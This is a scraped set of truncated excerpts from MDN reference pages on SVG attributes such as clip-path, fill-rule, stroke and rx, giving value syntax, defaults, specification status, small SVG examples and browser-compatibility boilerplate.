table yes sub the dominant-baseline is shifted to the default position for subscripts. super the dominant-baseline is shifted to the default position for superscripts. <length-percentage> a length value raises (positive value) or lowers (negative value) the dominant-baseline of the parent text content element by the specified length. a percentage value raises (positive value) or lower...
...the definition of 'alignment-baseline' in that specification. candidate recommendation refers to the definition in css inline layout and notes that vertical-align should be preferred. scalable vector graphics (svg) 1.1 (second edition)the definition of 'alignment-baseline' in that specification. recommendation initial definition browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbaseline-shiftchrome ? edge ...
begin - SVG: Scalable Vector Graphics
s are using this attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, <discard>, and <set> animate, animatecolor, animatemotion, animatetransform, set for <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set>, begin defines when the element should begin, i.e. become active. value <begin-value-list> default value 0s anima
table no the <begin-value-list> is a semicolon-separated list of values. each value can be one of the following: <offset-value> this value defines a clock-value that represents a point in time relative to the beginning of the svg document (usually the load or domcontentloaded event). negative values are valid. <syncbase-value> this value defines a syncbase and an optional offset from th...
...ds in the timeline doesn't re-insert the discarded elements. so, authors are encouraged to set the playbackorder attribute to forwardonly when using the <discard> element. the <discard> element itself can be discarded prior to its activation, in which case it will never trigger the removal of its own target element. value <begin-value-list> default value 0s anima
table no the definition of <begin-value-list> is the same as for the other animation elements. examples offset example <svg width="120" height="120" viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg" version="1.1"> <!-- animated rectangles --> <rect x="10" y="35" height="15" width="0"> <animate attributetype="xml" attributename="width" to="100" ...
clip-path - SVG: Scalable Vector Graphics
ht: apply a css basic shape on a view-box geometry. this is the same as having a custom clipping path with a clippathunits set to userspaceonuse --> <rect x="11" y="11" width="8" height="8" stroke="green" clip-path="circle() view-box" /> </svg> usage notes value <url> | [ <basic-shape> || <geometry-box> ] | none default value none anima
table yes <geometry-box> an extra information to tell how a <basic-shape> is applied to an element: fill-box indicates to use the object bounding box; stroke-box indicates to use the object bounding box extended with the stroke; view-box indicates to use the nearest svg viewport as the reference box. note: for more details on the clip-path syntax, see the css property clip-path reference...
...tion to tell how a <basic-shape> is applied to an element: fill-box indicates to use the object bounding box; stroke-box indicates to use the object bounding box extended with the stroke; view-box indicates to use the nearest svg viewport as the reference box. note: for more details on the clip-path syntax, see the css property clip-path reference page. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetclip-pathchrome ? edge ...
clip-rule - SVG: Scalable Vector Graphics
the object defining the clipping shape: <g> <clippath id="myclip"> <path d="..." /> </clippath> <rect clip-path="url(#myclip)" clip-rule="evenodd" ... /> </g> as a presentation attribute, it also can be used as a property directly inside a css stylesheet usage context categories presentation attribute value nonzero | evenodd | inherit anima
table yes normative document svg 1.1 (2nd edition) nonzero see description of fill-rule property. evenodd see description of fill-rule property. example <svg width="100" viewbox="0 0 100 90" xmlns="http://www.w3.org/2000/svg" version="1.1"> <!-- define star path --> <defs> <path d="m50,0 21,90 98,35 2,35 79,90z" id="star" /> </defs> <!-- left: evenodd --> <c...
.../> <!-- right: nonzero --> <clippath id="filledstar"> <use xlink:href="#star" clip-rule="nonzero" /> </clippath> <rect clip-path="url(#filledstar)" width="50" height="90" x="50" fill="red" /> </svg> elements the following elements can use the clip-rule attribute, but only if they are inside a <clippath> element. graphical elements » browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetclip-rulechrome ? edge ...
color-interpolation-filters - SVG: Scalable Vector Graphics
this option indicates that the author doesn't require that color interpolation occur in a particular color space. srgb indicates that color interpolation should occur in the srgb color space. linearrgb indicates that color interpolation should occur in the linearized rgb...
...pecification status comment filter effects module level 1the definition of 'color-interpolation' in that specification. working draft no significant change scalable vector graphics (svg) 1.1 (second edition)the definition of 'color-interpolation-filters' in that specification. recommendation initial definition browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcolor-interpolation-filterschrome ? ...
color-interpolation - SVG: Scalable Vector Graphics
this option indicates that the author doesn't require that color interpolation occur in a particular color space. srgb indicates that color interpolation should occur in the srgb color space. linearrgb indicates that color interpolation should occur in the linearized rgb...
...cation status comment scalable vector graphics (svg) 2the definition of 'color-interpolation' in that specification. candidate recommendation no significant change scalable vector graphics (svg) 1.1 (second edition)the definition of 'color-interpolation' in that specification. recommendation initial definition browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcolor-interpolationchrome ? edge ...
color-profile - SVG: Scalable Vector Graphics
efine which color profile a raster image included through the <image> element should use. note: as a presentation attribute, color-profile can be used as a css property. as a presentation attribute, it can be applied to any element but it only has an effect on the following element: <image> usage notes value auto | srgb | <name> | <iri> default value auto anima
table yes auto all colors are presumed to be defined in the srgb color space unless a more precise embedded profile is specified within content data. for images that do have a profile built into their data, that profile is used. for images that do not have a profile, the srgb profile is used. srgb the source profile is assumed to be srgb. this differs from auto in that it overrides an em...
...> an iri reference to the source color profile. the referenced color profile overrides an embedded profile inside the image. specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'color-profile' in that specification. recommendation initial definition browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcolor-profile deprecatedchrome ? ed...
color - SVG: Scalable Vector Graphics
color, flood-color, and lighting-color attributes. note: as a presentation attribute, color can be used as a css property. see css color for further information. as a presentation attribute, it can be applied to any element, but as noted above, it has no direct effect on svg elements. ...
...on status comment scalable vector graphics (svg) 2the definition of 'color' in that specification. candidate recommendation removed the restriction to which elements it applies. scalable vector graphics (svg) 1.1 (second edition)the definition of 'color' in that specification. recommendation initial definition browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcolorchrome ? edge ...
d - SVG: Scalable Vector Graphics
<svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <path fill="none" stroke="red" d="m 10,30 a 20,20 0,0,1 50,30 a 20,20 0,0,1 90,30 q 90,60 50,90 q 10,60 10,30 z" /> </svg> path for <path>, d is a string containing a series of path commands that define the path to be drawn. value <string> default value none anima
table yes glyph warning: as of svg2 <glyph> is deprecated and shouldn't be used. for <glyph>, d is a string containing a series of path commands that define the outline shape of the glyph. value <string> default value none anima
table yes note: the point of origin (the coordinate 0,0) is usually the upper left corner of the context. however the <gl...
...upper left corner of the context. however the <glyph> element has its origin in the bottom left corner of its letterbox. missing-glyph warning: as of svg2 <missing-glyph> is deprecated and shouldn't be used. for <missing-glyph>, d is a string containing a series of path commands that define the outline shape of the glyph. value <string> default value none anima
table yes path commands path commands are instructions that define a path to be drawn. each command is composed of a command letter and numbers that represent the command parameters. svg defines 6 types of path commands, for a total of 20 commands: moveto: m, m lineto: l, l, h, h, v, v cubic bézier curve: c, c, s, s quadratic bézier curve: q, q, t, t elliptical arc curve: a, a clo...
edgeMode - SVG: Scalable Vector Graphics
s are using this attribute: <feconvolvematrix> and <fegaussianblur> feconvolvematrix for <feconvolvematrix>, edgemode determines how to extend the input image as necessary with color values so that the matrix operations can be applied when the kernel is positioned at or near the edge of the input image. value duplicate | wrap | none default value duplicate anima
table yes duplicate this value indicates that the input image is extended along each of its borders as necessary by duplicating the color values at the given edge of the input image. wrap this value indicates that the input image is extended by taking the color values from the opposite edge of the image. none this value indicates that the input image is extended with pixel values of ze...
...at the input image is extended with pixel values of zero for r, g, b and a. fegaussianblur for <fegaussianblur>, edgemode determines how to extend the input image as necessary with color values so that the matrix operations can be applied when the kernel is positioned at or near the edge of the input image. value duplicate | wrap | none default value none anima
table yes duplicate this value indicates that the input image is extended along each of its borders as necessary by duplicating the color values at the given edge of the input image. wrap this value indicates that the input image is extended by taking the color values from the opposite edge of the image. none this value indicates that the input image is extended with pixel values of ze...
externalResourcesRequired - SVG: Scalable Vector Graphics
all types of resource references, including style sheets, color profiles and fonts specified by a reference using a <font-face> element or a css @font-face specification. in particular, if an element sets externalresourcesrequired="true", then all style sheets must be available since any style sheet might affect the rendering of that element. the externalresourcesrequired attribute is not inheri
table (from a sense of attribute value inheritance), but if set on a container element, its value will apply to all elements within the container. because setting externalresourcesrequired="true" on a container element will have the effect of disabling progressive display of the contents of that container, if that container includes elements that reference external resources, authors should avoid simp...
...ting externalresourcesrequired="true" on the outermost <svg> element on a universal basis. instead, it is better to specify externalresourcesrequired="true" on those particular graphics elements or container elements which specifically need the availability of external resources in order to render properly. usage notes value false | true default value false anima
table no true this value indicates that resources external to the current document are required. if an external resource is not available, progressive rendering is suspended, the document's svgload event is not fired and the animation timeline does not begin until that resource and all other required resources become available, have been parsed and are ready to be rendered. false this va...
fill-opacity - SVG: Scalable Vector Graphics
if you'd like to contribute to the data, please check out https://gith...
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
fill-rule - SVG: Scalable Vector Graphics
8,35 2,35 79,90"/> <!-- the center of the shape has two path segments (shown by the red stroke) between it and infinity. it is therefore considered outside the shape, and not filled. --> <polygon fill-rule="evenodd" stroke="red" points="150,0 121,90 198,35 102,35 179,90"/> </svg> usage notes value nonzero | evenodd default value nonzero anima
table yes the fill-rule attribute provides two options for how the inside (that is, the area to be filled) of a shape is determined: nonzero the value nonzero determines the "insideness" of a point in the shape by drawing a ray from that point to infinity in any direction, and then examining the places where a segment of the shape crosses the ray. starting with a count of zero, add one each...
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfill-rulechrome ? edge ...
filter - SVG: Scalable Vector Graphics
hics elements and the <use> element. html, body, svg { height: 100%; } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <filter id="blur"> <fegaussianblur stddeviation="2" /> </filter> <rect x="10" y="10" width="80" height="80" filter="url(#blur)" /> </svg> usage notes value none | <filter-function-list> default value none anima
table yes for a description of the values see the css filter property. specifications specification status comment filter effects module level 1the definition of 'filter' in that specification. working draft extended the values by several special filter functions. scalable vector graphics (svg) 1.1 (second edition)the definition of 'filter' in that...
...ecification status comment filter effects module level 1the definition of 'filter' in that specification. working draft extended the values by several special filter functions. scalable vector graphics (svg) 1.1 (second edition)the definition of 'filter' in that specification. recommendation initial definition browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfilterchrome ? edge ...
font-family - SVG: Scalable Vector Graphics
specifications specification status comment css fonts module level 4the definition of 'generic font families' in that specification. working draft adds new generic font families, specifically: system-ui, emoji, math, and fangsong. css fonts module level 3the de...
...es, specifically: system-ui, emoji, math, and fangsong. css fonts module level 3the definition of 'font-family' in that specification. candidate recommendation no significant change scalable vector graphics (svg) 1.1 (second edition)the definition of 'font-family' in that specification. recommendation initial definition browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfont-familychrome ? edge ...
font-style - SVG: Scalable Vector Graphics
specifications specification status comment css fonts module level 4the definition of 'font-style' in that specification. working draft no change css fonts module level 3the definition of 'font-style' in that specification. candidate recommendation no chan...
... of 'font-style' in that specification. working draft no change css fonts module level 3the definition of 'font-style' in that specification. candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'font-style' in that specification. recommendation initial definition browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfont-stylechrome ? edge ...
font-weight - SVG: Scalable Vector Graphics
specifications specification status comment css fonts module level 4the definition of 'font-weight' in that specification. working draft defines font-weight to accept any numbers between 1 and 1000. css fonts module level 3the definition of 'font-weight' in tha...
...ft defines font-weight to accept any numbers between 1 and 1000. css fonts module level 3the definition of 'font-weight' in that specification. candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'font-weight' in that specification. recommendation initial definition browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfont-weightchrome ? edge ...
format - SVG: Scalable Vector Graphics
the format attribute indicates the format of the given font. two elements are using this attribute: <altglyph> and <glyphref> context notes value <string> default value none anima
table no <string> this value specifies the format of the given font. ...
... using this attribute: <altglyph> and <glyphref> context notes value <string> default value none anima
table no <string> this value specifies the format of the given font. ...
gradientUnits - SVG: Scalable Vector Graphics
ines the coordinate system used for attributes specified on the gradient elements. two elements are using this attribute: <lineargradient> and <radialgradient> lineargradient for <lineargradient>, gradientunits defines the coordinate system used for the attributes x1, y1, x2, and y2. ...
...al will remain perpendicular. this transformation is due to application of the non-uniform scaling transformation from bounding box space to user space. radialgradient for <radialgradient>, gradientunits defines the coordinate system used for the attributes cx, cy, r, fx, fy, and fr. ...
horiz-adv-x - SVG: Scalable Vector Graphics
the horiz-adv-x attribute indicates the horizontal advance after rendering a glyph in horizontal orientation. three elements are using this attribute: <font>, <glyph>, and <missing-glyph> font for <font> elements, horiz-adv-x specifies the default horizontal advance of a glyph in horizontal orientation. ...
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'horiz-adv-x for <glyph> and <missing-glyph>' in that specification. ...
name - SVG: Scalable Vector Graphics
the name attribute specifies either the name of a color profile or a font face. two elements are using this attribute: <color-profile> and <font-face-name> color-profile for <color-profile>, name defines the name of the color profile. value <name> default value none anima
table yes <name> this value is the name which is used as the first parameter for icc color specifications within fill, stroke, stop-color, flood-color and lighting-color property values to identify the color profile to use for the icc color specification and the name which can be the value of the color-profile property. note: if no name is provided, it will be impossible to reference the given color profile description. the name "srgb" is predefined; any color profile d...
...le property. note: if no name is provided, it will be impossible to reference the given color profile description. the name "srgb" is predefined; any color profile descriptions with <name> set to "srgb" (case-insensitively) will be ignored. font-face-name for <font-face-name>, name defines the name of the font face. value <name> default value none anima
table yes <name> this value specifies the name of a local font. unlike the syntax allowed between the parentheses of the local(…) clause in an @font-face rule src descriptor, the font name specified in this attribute is not surrounded in single or double quotes. specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)t...
operator - SVG: Scalable Vector Graphics
</filter> <text x="0" y="15">normal text</text> <text x="0" y="40" filter="url(#erode)">thin text</text> <text x="0" y="65" filter="url(#dilate)">fat text</text> </svg> fecomposite for <fecomposite>, operator defines the compositing operation that is to be performed. value over | in | out | atop | xor | lighter | arithmetic default value over anima
table yes over this value indicates that the source graphic defined in the in attribute is placed over the destination graphic defined in the in2 attribute. in this value indicates that the parts of the source graphic defined in the in attribute that overlap the destination graphic defined in the in2 attribute, replace the destination graphic. out this value indicates that the parts of...
... i1 and i2 indicate the corresponding pixel channel values of the input image, which map to in and in2 respectively, and k1,k2,k3,and k4 indicate the values of the attributes with the same name. femorphology for <femorphology>, operator defines whether to erode (i.e., thin) or dilate (fatten) the source graphic. value erode | dilate default value erode anima
table yes erode this value thins the source graphic defined in the in attribute. dilate this value fattens the source graphic defined in the in attribute. specifications specification status comment filter effects module level 1the definition of 'operator for <femorphology>' in that specification. working draft no change filter effects module...
path - SVG: Scalable Vector Graphics
on for <animatemotion>, path defines the motion path, expressed in the same format and interpreted the same way as the d geometric property for the <path> element. the effect of a motion path animation is a translation along the x- and y-axes of the current user coordinate system by the x and y values computed over time. value <path-data> default value none anima
table no <path-data> this value defines the motion path along which the referenced element is animated. for detailed information about the commands that can be used, see the explanation for the d attribute. textpath for <textpath>, path defines the path onto which the glyphs of a <text> element will be rendered. an empty string indicates that there is no path data for the element. this ...
...t> element will be rendered. an empty string indicates that there is no path data for the element. this means that the text within the <textpath> element does not render or contribute to the bounding box of the <text> element. if the attribute is not specified, the path specified in href is used instead. value <path-data> default value path specified in href anima
table yes <path-data> this value defines the text path along which the glyphs of the <text> element are aligned. for detailed information about the commands that can be used, see the explanation for the d attribute. specifications specification status comment scalable vector graphics (svg) 2the definition of 'path for <textpath>' in that specification. can...
pointer-events - SVG: Scalable Vector Graphics
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasa...
..., <text>, <textpath>, <tspan>, <use> usage notes value bounding-box | visiblepainted | visiblefill | visiblestroke | visible | painted | fill | stroke | all | none default value visiblepainted anima
table yes for a detailed explanation of each possible value, have a look at the css pointer-events documentation. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetpointer-eventschrome ? edge ...
points - SVG: Scalable Vector Graphics
le for human beings. --> </svg> polyline for <polyline>, points defines a list of points, each representing a vertex of the line to be drawn. each point is define by a x and y coordinate in the user coordinate system. note: a polyline is an open shape, meaning the last point is not connected to the first point. value [ <number>+ ]# default value none anima
table yes example html,body,svg { height:100% } <svg viewbox="-10 -10 120 120" xmlns="http://www.w3.org/2000/svg"> <!-- polyline is an open shape --> <polyline stroke="black" fill="none" points="50,0 21,90 98,35 2,35 79,90"/> </svg> polygon for <polygon>, points defines a list of points, each representing a vertex of the shape to be drawn. each point is define by a x and y coor...
...="50,0 21,90 98,35 2,35 79,90"/> </svg> polygon for <polygon>, points defines a list of points, each representing a vertex of the shape to be drawn. each point is define by a x and y coordinate in the user coordinate system. note: a polygon is a closed shape, meaning the last point is connected to the first point. ...
r - SVG: Scalable Vector Graphics
<rect x="120" y="120" width="60" height="60" fill="url(#mygradient050)" /> <rect x="220" y="120" width="60" height="60" fill="url(#mygradient100)" /> </svg> circle for <circle>, r defines the radius of the circle and therefor its size. with a value lower or equal to zero the circle won't be drawn at all. value <length> | <percentage> default value 0 anima
table yes note: starting with svg2, r is a geometry property meaning this attribute can also be used as a css property for circles. radialgradient for <radialgradient>, r defines the radius of the end circle for the radial gradient. the gradient will be drawn such that the 100% gradient stop is mapped to the perimeter of this end circle. a value of lower or equal to zero will cause the are...
...defines the radius of the end circle for the radial gradient. the gradient will be drawn such that the 100% gradient stop is mapped to the perimeter of this end circle. a value of lower or equal to zero will cause the area to be painted as a single color using the color and opacity of the last gradient <stop>. value <length> | <percentage> default value 50% anima
table yes specifications specification status comment scalable vector graphics (svg) 2the definition of 'r' in that specification. candidate recommendation definition as a geometry property scalable vector graphics (svg) 2the definition of 'r' in that specification. candidate recommendation definition for svg2 paint servers <radialgradient> ...
refX - SVG: Scalable Vector Graphics
te defines the x coordinate of an element’s reference point. two elements are using this attribute: <marker> and <symbol> marker for <marker>, refx defines the x coordinate of the marker’s reference point, which is to be placed exactly at the marker’s position on the shape. value <length-percentage> | <number> | left | center | right default value 0 anima
table yes <length-percentage> lengths are interpreted as being in the coordinate system of the marker contents, after application of the viewbox and preserveaspectratio attributes. percentage values are interpreted as being a percentage of the viewbox width. <number> numbers are interpreted as being in the coordinate system of the marker contents, after application of the viewbox and ...
...inate) is positioned at the x coordinate. for backwards compatibility, the behavior when refx is not specified on a <symbol> element is different from when it is specified with a value of 0, and therefore different from the behavior when an equivalent attribute is not specified on a <marker> element. value <length> | left | center | right default value none anima
table yes <length-percentage> lengths are interpreted as being in the coordinate system of the marker contents, after application of the viewbox and preserveaspectratio attributes. percentage values are interpreted as being a percentage of the viewbox width. <number> numbers are interpreted as being in the coordinate system of the marker contents, after application of the viewbox and ...
refY - SVG: Scalable Vector Graphics
te defines the y coordinate of an element’s reference point. two elements are using this attribute: <marker> and <symbol> marker for <marker>, refy defines the y coordinate of the marker’s reference point, which is to be placed exactly at the marker’s position on the shape. value <length-percentage> | <number> | top | center | bottom default value 0 anima
table yes <length-percentage> lengths are interpreted as being in the coordinate system of the marker contents, after application of the viewbox and preserveaspectratio attributes. percentage values are interpreted as being a percentage of the viewbox height. <number> numbers are interpreted as being in the coordinate system of the marker contents, after application of the viewbox and...
...inate) is positioned at the y coordinate. for backwards compatibility, the behavior when refy is not specified on a <symbol> element is different from when it is specified with a value of 0, and therefore different from the behavior when an equivalent attribute is not specified on a <marker> element. value <length> | top | center | bottom default value none anima
table yes <length-percentage> lengths are interpreted as being in the coordinate system of the marker contents, after application of the viewbox and preserveaspectratio attributes. percentage values are interpreted as being a percentage of the viewbox height. <number> numbers are interpreted as being in the coordinate system of the marker contents, after application of the viewbox and...
requiredExtensions - SVG: Scalable Vector Graphics
the requiredextensions attribute defines a list of required language extensions. language extensions are capabilities within a user agent that go beyond the feature set defined in this specification. each extension is identified by an url reference. usage notes value <list-of-extensions> default value none anima
table no <list-of-extensions> the value is a list of references (iri references in svg 1, url references in svg 2) which identify the required extensions, with the individual values separated by white space. determines whether all of the named extensions are supported by the user agent. if all of the given extensions are supported, then the attribute evaluates to true; otherwise, the current element and its children are skipped and thus ...
...t. if the attribute is used in other situations, then it represents a simple switch on the given element whether to render the element or not. note: if several extension reference objects are enclosed in a <switch> and none of them matches, this may lead to situations where no content is displayed. it is thus recommended to include a "catch-all" choice at the end of such a <switch> which is accep
table in all cases. if the attribute is not present, then it implicitly evaluates to "true". if a null string or empty string value is given, the attribute evaluates to "false". the iri names for the extension should include versioning information, such as "http://example.org/svgextensionxyz/1.0", so that script writers can distinguish between different versions of a given extension. specifications ...
rx - SVG: Scalable Vector Graphics
ight="60" rx="0" ry="15"/> <rect x="120" y="120" width="60" height="60" rx="15" ry="15"/> <rect x="220" y="120" width="60" height="60" rx="150" ry="15"/> </svg> ellipse for <ellipse>, rx defines the x-radius of the shape. with a value lower or equal to zero the ellipse won't be drawn at all. value <length> | <percentage> | auto default value auto anima
table yes note: starting with svg2, rx is a geometry property meaning this attribute can also be used as a css property for ellipses. rect for <rect>, rx defines the x-axis radius of the ellipse used to round off the corners of the rectangle. the way the value of the rx attribute is interpreted depend on both the ry attribute and the width of the rectangle: if a properly specified value...
...the missing value equal to the defined one. if neither rx nor ry has a properly specified value, then the browser will draw a rectangle with square corners. if rx is greater than half of the width of the rectangle, then the browser will consider the value for rx as half of the width of the rectangle. value <length> | <percentage> | auto default value auto anima
table yes note: starting with svg2, rx is a geometry property meaning this attribute can also be used as a css property for rects. specifications specification status comment scalable vector graphics (svg) 2the definition of 'rx' in that specification. candidate recommendation definition as a geometry property scalable vector graphics (svg) 1.1 (se...
ry - SVG: Scalable Vector Graphics
ight="60" ry="0" rx="15"/> <rect x="120" y="120" width="60" height="60" ry="15" rx="15"/> <rect x="220" y="120" width="60" height="60" ry="150" rx="15"/> </svg> ellipse for <ellipse>, ry defines the y-radius of the shape. with a value lower or equal to zero the ellipse won't be drawn at all. value <length> | <percentage> | auto default value auto anima
table yes note: starting with svg2, ry is a geometry property meaning this attribute can also be used as a css property for ellipses. rect for <rect>, ry defines the y-axis radius of the ellipse used to round off the corners of the rectangle. the way the value of the ry attribute is interpreted depend on both the rx attribute and the width of the rectangle: if a properly specified value...
...the missing value equal to the defined one. if neither ry nor rx has a properly specified value, then the browser will draw a rectangle with square corners. if ry is greater than half of the width of the rectangle, then the browser will consider the value for ry as half of the width of the rectangle. value <length> | <percentage> | auto default value auto anima
table yes note: starting with svg2, ry is a geometry property meaning this attribute can also be used as a css property for rects. specifications specification status comment scalable vector graphics (svg) 2the definition of 'ry' in that specification. candidate recommendation definition as a geometry property scalable vector graphics (svg) 1.1 (se...
shape-rendering - SVG: Scalable Vector Graphics
optimizespeed this value indicates that the user agent shall emphasize rendering speed over geometric precision and crisp edges. this option will sometimes cause the u...
...ns specification status comment scalable vector graphics (svg) 2the definition of 'shape-rendering' in that specification. candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'shape-rendering' in that specification. recommendation initial definition browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetshape-renderingchrome ? edge ...
specularExponent - SVG: Scalable Vector Graphics
t x="0" y="0" width="200" height="200" style="filter: url(#diffuselighting1);" /> <rect x="0" y="0" width="200" height="200" style="filter: url(#diffuselighting2); transform: translatex(220px);" /> </svg> fespecularlighting for <fespecularlighting>, specularexponent defines the exponent value for the specular term. ...
...g> fespecularlighting for <fespecularlighting>, specularexponent defines the exponent value for the specular term. value <number> default value 1 anima
table yes fespotlight for <fespotlight>, specularexponent defines the exponent value controlling the focus for the light source. value <number> default value 1 anima
table yes specifications specification status comment filter effects module level 1the definition of 'specularexponent for <fespecularlighting>' in that specification. working draft no change filter effects module level 1the definition of 'specularexponent for <fespotlight>' in that specification. working draft no change scalable vect...
spreadMethod - SVG: Scalable Vector Graphics
reflect this value indicates that the gradient repeats in reverse beyond its edges. ...
...(second edition)the definition of 'spreadmethod for <radialgradient>' in that specification. recommendation initial definition for <radialgradient> scalable vector graphics (svg) 1.1 (second edition)the definition of 'spreadmethod for <lineargradient>' in that specification. recommendation initial definition for <lineargradient> browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. no compatibility data found. please contribute data for "svg.attributes.presentation.spreadmethod" (depth: 1) to the mdn compatibility data repository. ...
stroke-dashoffset - SVG: Scalable Vector Graphics
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pu...
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
stroke-linecap - SVG: Scalable Vector Graphics
on a zero length subpath, the path will not be rendered at all. example html,body,svg { height:100% } <svg viewbox="0 0 6 4" xmlns="http://www.w3.org/2000/svg"> <!-- effect of the "butt" value --> <path d="m1,1 h4" stroke="black" stroke-linecap="butt" /> <!
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetstroke-linecapchrome ? edge ...
stroke-opacity - SVG: Scalable Vector Graphics
it's important to know that the stroke partially covers the fill of a shape, so a stroke with an opacity different than 1 will partially show the fill underneath. ...
...y with a value in the range [0-1]. it's important to know that the stroke partially covers the fill of a shape, so a stroke with an opacity different than 1 will partially show the fill underneath. to avoid this effect, it is possible to apply a global opacity with the opacity attribute or to put the stroke behind the fill with the paint-order attribute. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetstroke-opacitychrome ? edge ...
stroke-width - SVG: Scalable Vector Graphics
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafa...
..."3" /> <!-- stroke width as a percentage --> <circle cx="25" cy="5" r="3" stroke="green" stroke-width="2%" /> </svg> usage notes value <length> | <percentage> default value 1px anima
table yes note: a percentage value is always computed as a percentage of the normalized viewbox diagonal length. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetstroke-widthchrome ? edge ...
stroke - SVG: Scalable Vector Graphics
candidate recommendation definition for shapes and texts. adds context-fill and context-stroke. scalable vector graphics (svg) 1.1 (second edition)the definition of 'stroke' in that specification. recommendat...
...e vector graphics (svg) 2the definition of 'stroke' in that specification. candidate recommendation definition for shapes and texts. adds context-fill and context-stroke. scalable vector graphics (svg) 1.1 (second edition)the definition of 'stroke' in that specification. recommendation initial definition for shapes and texts browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetstrokechrome ? edge ...
systemLanguage - SVG: Scalable Vector Graphics
systemlanguage is often used in conjunction with the <switch> element. if the attribute is used in other situations, then it represents a simple switch on the given element whether to render the element or not. note: if several alternative language obj...
